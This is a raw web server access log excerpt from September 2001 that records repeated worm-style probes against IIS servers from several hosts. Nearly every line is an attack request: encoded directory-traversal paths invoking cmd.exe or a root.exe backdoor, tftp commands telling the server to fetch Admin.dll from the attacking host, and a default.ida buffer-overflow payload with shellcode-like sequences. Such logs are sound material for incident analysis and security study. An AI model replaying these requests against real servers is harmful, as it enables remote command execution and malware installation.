  10321. 20010919 10:11:27: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10322. 20010919 10:11:27: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10323. 20010919 10:11:27: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10324. 20010919 10:11:28: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10325. 20010919 10:11:31: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10326. 20010919 10:11:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10327. 20010919 10:11:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10328. 20010919 10:11:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10329. 20010919 10:11:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10330. 20010919 10:11:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10331. 20010919 10:11:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10332. 20010919 10:11:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10333. 20010919 10:11:32: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10334. 20010919 10:14:18: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10335. 20010919 10:14:18: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10336. 20010919 10:14:18: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10337. 20010919 10:14:18: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10338. 20010919 10:14:18: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10339. 20010919 10:14:19: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10340. 20010919 10:14:19: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10341. 20010919 10:14:19: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10342. 20010919 10:14:20: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10343. 20010919 10:14:20: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10344. 20010919 10:14:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10345. 20010919 10:14:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10346. 20010919 10:14:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10347. 20010919 10:14:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10348. 20010919 10:14:22: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10349. 20010919 10:14:22:  [128.197.227.150] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10350. 20010919 10:19:08:  [128.197.227.150] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10351. 20010919 10:19:26:  [128.197.227.150] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10352. 20010919 10:19:45:  [128.197.227.150] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10353. 20010919 10:20:03:  [128.197.227.150] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10354. 20010919 10:20:21:  [128.197.227.150] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10355. 20010919 10:20:40:  [128.197.227.150] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10356. 20010919 10:20:58:  [128.197.227.150] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10357. 20010919 10:21:16:  [128.197.227.150] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10358. 20010919 10:21:34:  [128.197.227.150] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10359. 20010919 10:21:53:  [128.197.227.150] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10360. 20010919 10:22:11:  [128.197.227.150] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10361. 20010919 10:22:29:  [128.197.227.150] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10362. 20010919 10:22:47:  [128.197.227.150] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10363. 20010919 10:23:06:  [128.197.227.150] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10364. 20010919 10:23:24:  [128.197.227.150] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10365. 20010919 10:23:42: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10366. 20010919 10:24:35: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10367. 20010919 10:24:35: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10368. 20010919 10:24:35: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10369. 20010919 10:24:35: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10370. 20010919 10:24:35: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10371. 20010919 10:24:36: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10372. 20010919 10:24:36: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10373. 20010919 10:24:36: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10374. 20010919 10:24:36: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10375. 20010919 10:24:36: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10376. 20010919 10:24:36: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10377. 20010919 10:24:36: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10378. 20010919 10:24:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10379. 20010919 10:24:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10380. 20010919 10:24:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10381. 20010919 10:24:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10382. 20010919 10:26:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  10383. 20010919 10:26:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/Admin.dll HTTP/1.0"
  10384. 20010919 10:26:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10385. 20010919 10:26:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  10386. 20010919 10:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/Admin.dll HTTP/1.0"
  10387. 20010919 10:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10388. 20010919 10:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10389. 20010919 10:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10390. 20010919 10:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10391. 20010919 10:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/Admin.dll HTTP/1.0"
  10392. 20010919 10:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10393. 20010919 10:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10394. 20010919 10:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10395. 20010919 10:26:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10396. 20010919 10:26:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/Admin.dll HTTP/1.0"
  10397. 20010919 10:26:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10398. 20010919 10:26:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10399. 20010919 10:26:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10400. 20010919 10:26:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10401. 20010919 10:26:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../Admin.dll HTTP/1.0"
  10402. 20010919 10:26:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10403. 20010919 10:26:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10404. 20010919 10:26:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10405. 20010919 10:26:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10406. 20010919 10:26:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  10407. 20010919 10:26:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10408. 20010919 10:26:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10409. 20010919 10:26:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10410. 20010919 10:26:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10411. 20010919 10:26:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  10412. 20010919 10:26:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10413. 20010919 10:26:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10414. 20010919 10:26:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10415. 20010919 10:26:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10416. 20010919 10:26:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0"
  10417. 20010919 10:26:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10418. 20010919 10:26:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10419. 20010919 10:26:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10420. 20010919 10:26:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10421. 20010919 10:26:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0"
  10422. 20010919 10:26:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10423. 20010919 10:26:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10424. 20010919 10:26:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10425. 20010919 10:26:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10426. 20010919 10:26:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../Admin.dll HTTP/1.0"
  10427. 20010919 10:26:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10428. 20010919 10:26:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10429. 20010919 10:26:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10430. 20010919 10:26:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10431. 20010919 10:26:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0"
  10432. 20010919 10:26:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10433. 20010919 10:26:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10434. 20010919 10:26:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10435. 20010919 10:26:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10436. 20010919 10:26:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0"
  10437. 20010919 10:26:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10438. 20010919 10:26:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10439. 20010919 10:26:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10440. 20010919 10:26:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10441. 20010919 10:26:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0"
  10442. 20010919 10:26:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10443. 20010919 10:26:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10444. 20010919 10:26:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10445. 20010919 10:26:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10446. 20010919 10:26:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../Admin.dll HTTP/1.0"
  10447. 20010919 10:26:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10448. 20010919 10:26:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10449. 20010919 10:26:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10450. 20010919 10:26:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10451. 20010919 10:26:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../Admin.dll HTTP/1.0"
  10452. 20010919 10:26:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10453. 20010919 10:26:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10454. 20010919 10:26:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10455. 20010919 10:26:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10456. 20010919 10:26:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../Admin.dll HTTP/1.0"
  10457. 20010919 10:26:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  10458. 20010919 10:30:05:  [128.119.210.93] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10459. 20010919 10:35:08: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10460. 20010919 10:35:08: vas.ais.columbia.edu [128.59.59.252] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10461. 20010919 10:35:08: vas.ais.columbia.edu [128.59.59.252] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10462. 20010919 10:35:08:  [128.119.210.93] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10463. 20010919 10:35:27: vas.ais.columbia.edu [128.59.59.252] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10464. 20010919 10:35:27: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10465. 20010919 10:35:27: vas.ais.columbia.edu [128.59.59.252] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10466. 20010919 10:35:27:  [128.119.210.93] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10467. 20010919 10:35:45: vas.ais.columbia.edu [128.59.59.252] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10468. 20010919 10:35:45: vas.ais.columbia.edu [128.59.59.252] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10469. 20010919 10:35:45: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10470. 20010919 10:35:46:  [128.119.210.93] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10471. 20010919 10:36:04: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10472. 20010919 10:36:04: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10473. 20010919 10:36:04: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10474. 20010919 10:36:04: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10475. 20010919 10:36:04:  [128.119.210.93] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10476. 20010919 10:36:22: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10477. 20010919 10:36:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
